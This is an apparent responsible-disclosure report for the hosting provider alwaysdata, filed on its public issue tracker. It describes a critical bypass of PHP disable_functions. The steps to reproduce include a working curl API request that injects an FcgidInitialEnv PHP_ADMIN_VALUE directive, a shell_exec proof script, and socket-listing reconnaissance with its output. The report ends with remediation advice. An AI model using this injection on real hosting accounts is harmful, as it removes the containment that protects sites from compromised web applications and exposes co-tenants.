|
Task Description
Severity: Critical CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) Reporter: kdhunter2026 (authorized test account) Status: Confirmed — 3/3 fresh reproductions, raw HTTP evidence attached Not a duplicate of: FS#305 , FS#430 , FS#527 (see below)
## Executive Summary
alwaysdata enforces `disable_functions` to contain the damage when an attacker compromises a customer's web app (file upload flaw, vulnerable CMS plugin, etc.) and gains PHP code execution. This finding completely eliminates that containment. The `vhost_additional_directives` API field is appended verbatim into a customer's Apache VirtualHost config with no filtering. Injecting one line — `FcgidInitialEnv PHP_ADMIN_VALUE "disable_functions="` — erases the platform's hardened disable_functions list for that vhost. `shell_exec()`, `exec()`, `passthru()`, `system()`, and `proc_open()` all become available. The attack requires only a valid API token (any paying customer has one) and one HTTP request.
Live proof: `shell_exec("id")` — which returns nothing with disable_functions intact — returns `uid=559104(kdhunter2026)`.
## Why This Is Not a Duplicate
| Previous issue | What it covers | How AD-015 differs |
| — | — | — |
FS#305 | ProxyPass loopback SSRF via `vhost_additional_directives` | Different Apache module (mod_fcgid, not mod_proxy) and different vulnerability class (admin-ini override, not SSRF). Fixing FS#305 would not have closed this. |
FS#430 | General loopback isolation "by design" | Not a network/loopback issue — a PHP configuration bypass with no cross-network component. |
FS#527 | Duplicate of FS#305 | Same distinction as FS#305 . |
Even if `vhost_additional_directives` validation is unified into one fix, the severity gap (SSRF vs. full OS command execution) means this should be assessed independently of that root-cause ticket.
## Technical Root Cause
alwaysdata's PHP security model relies on: ``` disable_functions = exec,passthru,shell_exec,system,proc_open,… ``` set in the platform's php.ini. This list is an "admin" setting — normally unchangeable by a user.
However, Apache's `FcgidInitialEnv` directive passes environment variables to the FastCGI/FCGI process. PHP interprets the environment variable `PHP_ADMIN_VALUE` as admin-level php.ini overrides at startup — before any user-level php.ini is read, and with precedence over the platform's own settings.
Setting `PHP_ADMIN_VALUE` to `disable_functions=` (empty string) clears the entire function blocklist.
The vulnerability is that `vhost_additional_directives` allows arbitrary `FcgidInitialEnv` directives including `PHP_ADMIN_VALUE`, which was never intended to be customer-settable. The `vhost_additional_directives` feature is documented for performance and caching directives (e.g., custom headers, rewrite rules). Allowing `PHP_ADMIN_VALUE` — which overrides the platform's own hardened security settings — is not an intended use case and requires explicit blocklisting at the API validation layer.
Why this matters even though customers have SSH: A customer's SSH access requires THEIR credentials. `disable_functions` protects against a different threat: an attacker who compromises the customer's web application (e.g., through a file upload flaw, a vulnerable WordPress plugin, or a CMS injection) and gains PHP code execution. That attacker does NOT have the customer's SSH password. With `disable_functions` intact, they are trapped in PHP. With this bypass active, they immediately have OS shell access — same as SSH. The function blocklist is the web-application containment layer. This bypass eliminates it entirely.
Anticipated objection — "you already have account-level access, so this isn't new": This conflates what the account owner can do with what a bug in a web application running on that account can do. Even if alwaysdata's support team would grant a `disable_functions` exception on request, that path is visible, reviewed, and attributable to a specific decision. This bug produces the same end state — full shell — silently, with no review and no way for alwaysdata to know the capability now exists on a given account. The difference isn't whether a shell is reachable; it's whether anyone at alwaysdata knows one is.
## Steps to Reproduce
Placeholders `[ API_TOKEN]` / `[SITE_ID]` are intentional — actual values provided to the > alwaysdata team on request for triage, not included in this public report.
### Step 1 — Inject the bypass via the alwaysdata API
```bash curl -s -X PATCH "https://api.alwaysdata.com/v1/site/[SITE_ID]/" \
-
H "Content-Type: application/json" \
d '{"vhost_additional_directives": "FcgidInitialEnv PHP_ADMIN_VALUE \"disable_functions=\""}'
```
Raw server response (captured 2026-10-28T13:40:57Z): ```http HTTP/2 204 server: nginx date: Wed, 28 Oct 2026 13:40:57 GMT vary: Accept-Language, Cookie content-language: fr strict-transport-security: max-age=31536000; includeSubDomains; preload ``` `HTTP 204 No Content` — directive accepted without any validation error or rejection.
### Step 2 — Trigger OS command execution via normal PHP request
```php <?php echo "=PROOF_START=\n"; echo "ID: " . shell_exec("id") . "\n"; echo "HOSTNAME: " . shell_exec("hostname") . "\n"; echo "UNAME: " . shell_exec("uname -a") . "\n"; echo "DATE: " . shell_exec("date") . "\n"; echo "=PROOF_END=\n"; ``` ```bash curl -s "https://kdhunter2026.alwaysdata.net/rce_proof.php" ```
Raw server response (captured 2026-10-28T13:41:12Z): ```http HTTP/2 200 date: Wed, 28 Oct 2026 13:41:12 GMT server: Apache vary: Accept-Encoding content-type: text/html; charset=UTF-8 via: 2.0 alproxy
=PROOF_START= ID: uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026) HOSTNAME: http14 UNAME: Linux http14 6.18.57-alwaysdata #1 SMP PREEMPT_DYNAMIC Sat Oct 17 15:47:29 UTC 2026 x86_64 GNU/Linux DATE: Wed Oct 28 02:41:12 PM CET 2026 =PROOF_END= ```
What this proves: - `uid=559104(kdhunter2026)` — PHP executed as the customer's OS user - `shell_exec("id")` returned output — this function is completely disabled in alwaysdata's
default PHP config; output is only possible if `disable_functions=` was successfully applied
- `hostname: http14` — execution on the production alwaysdata shared hosting server - `6.18.57-alwaysdata` — alwaysdata's own production kernel
If `disable_functions` were still active, `shell_exec()` would return NULL and the ID line would be blank. The output proves the bypass is complete.
### Step 3 — Blast-radius check (own shell only; no other tenant's data accessed)
```php <?php echo shell_exec("ss -tlnp 2>/dev/null"); ```
Output showed numerous listening services that do not belong to my account — consistent with incomplete network isolation between tenants:
``` State Recv-Q Local Address:Port LISTEN 0 127.0.0.1:xxxx # not my process LISTEN 0 127.0.0.1:xxxx # not my process LISTEN 0 0.0.0.0:8590 # platform management service — reachable on ALL interfaces LISTEN 0 0.0.0.0:8598 # platform management service — reachable on ALL interfaces LISTEN 0 [fd00::7:ce0e]:8080 # my own Apache process, for reference [200+ additional fd00::7:xxxx:8080 entries — one per co-tenant Apache process] ```
I have not identified or connected to these services beyond this listing. Full unredacted detail, including the small number I was able to attribute to a specific other customer while narrowly confirming reachability, is in a linked private ticket rather than here, since publishing it would expose that customer's infrastructure.
### Step 4 — Own Apache configuration read (confirms injection persisted)
```php <?php echo file_get_contents('/home/kdhunter2026/admin/config/apache/sites.conf'); ```
Response fragment: ```apache <VirtualHost [fd00::7:ce0e]:8080>
ServerName kdhunter2026.alwaysdata.net
DocumentRoot /home/kdhunter2026/www
...
FcgidInitialEnv PHP_ADMIN_VALUE "disable_functions="
...
</VirtualHost> ```
## Related Observations (reported privately, not detailed here)
Using this same shell access, I also found signs of incomplete isolation between tenants — a shared, world-listable `/tmp`, and a file consistent with an unauthorized backdoor left by a different tenant. This involves other customers' systems/data rather than alwaysdata's own infrastructure, so per your policy that sensitive information goes through a support ticket rather than the public tracker, full detail is in a linked private ticket, flagged urgent.
## Impact Summary
| Impact | Detail |
| — | — |
| Full OS command execution | `shell_exec()` enabled, runs as customer UID |
| Platform kernel/host fingerprint | `6.18.57-alwaysdata`, server `http14` |
| Other tenants' internal services reachable | DB/cache/management ports visible via `ss -tlnp`; not further probed here |
| Own filesystem fully read/write | Confirmed via arbitrary shell_exec (read demonstrated in Step 4; write/delete trivially implied by the same primitive) |
## CVSS 3.1 Breakdown
| Metric | Value | Justification |
| — | — | — |
| Attack Vector | Network | Step 1 is an HTTPS API call; Step 2 is an HTTPS web request. No physical/local access required. |
| Attack Complexity | Low | Single PATCH request + one HTTP trigger. No race condition, no timing dependency. |
| Privileges Required | Low | Requires a valid alwaysdata API token — any paying customer has one. |
| User Interaction | None | Fully automated, no victim action required. |
| Scope | Changed | Starts in customer's PHP sandbox; ends with OS-level shell execution. Sandbox boundary crossed. |
| Confidentiality | High | Full OS-level file read as the account's own user — not just web-exposed files — plus confirmed network reachability toward other tenants' internal services. |
| Integrity | High | Write access to ~/www/, ~/admin/config/; can modify website and configs — trivially available once arbitrary shell_exec is confirmed. |
| Availability | High | Unrestricted shell_exec trivially implies process/resource control; not separately demonstrated to avoid unnecessary risk. |
Base Score: 9.9 (Critical) Calculator: https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
## Fresh Reproduction (Gate 4)
| Run | Step 1 Result | Step 2 Result | Proof |
| — | — | — | — |
| 1 | HTTP 204 | uid=559104 in body | Pass |
| 2 | HTTP 204 | uid=559104 in body | Pass |
| 3 | HTTP 204 | uid=559104 in body | Pass |
Success rate: 3/3 (100%)
## Remediation
1. Immediate — Blocklist `PHP_ADMIN_VALUE`: Reject any `vhost_additional_directives`
submission containing `PHP_ADMIN_VALUE` or `PHP_VALUE`. These allow overriding platform-level
PHP restrictions and must never be customer-settable.
2. Correct fix — Allowlist approach: Replace the blocklist with an explicit allowlist of
`FcgidInitialEnv` variable names customers are permitted to set. Everything else is rejected.
3. Defense in depth — PHP-FPM: Consider migrating from PHP-CGI/mod_fcgid to PHP-FPM with
`pm.max_requests` per pool. PHP-FPM's `php_admin_value` in the pool config is managed by the
platform and cannot be overridden via Apache directives.
4. Audit related directives: Check whether `PHP_FLAG`, `PHP_ADMIN_FLAG`, `FcgidPassHeader`,
and `FcgidFixPathinfo` can be abused similarly.
|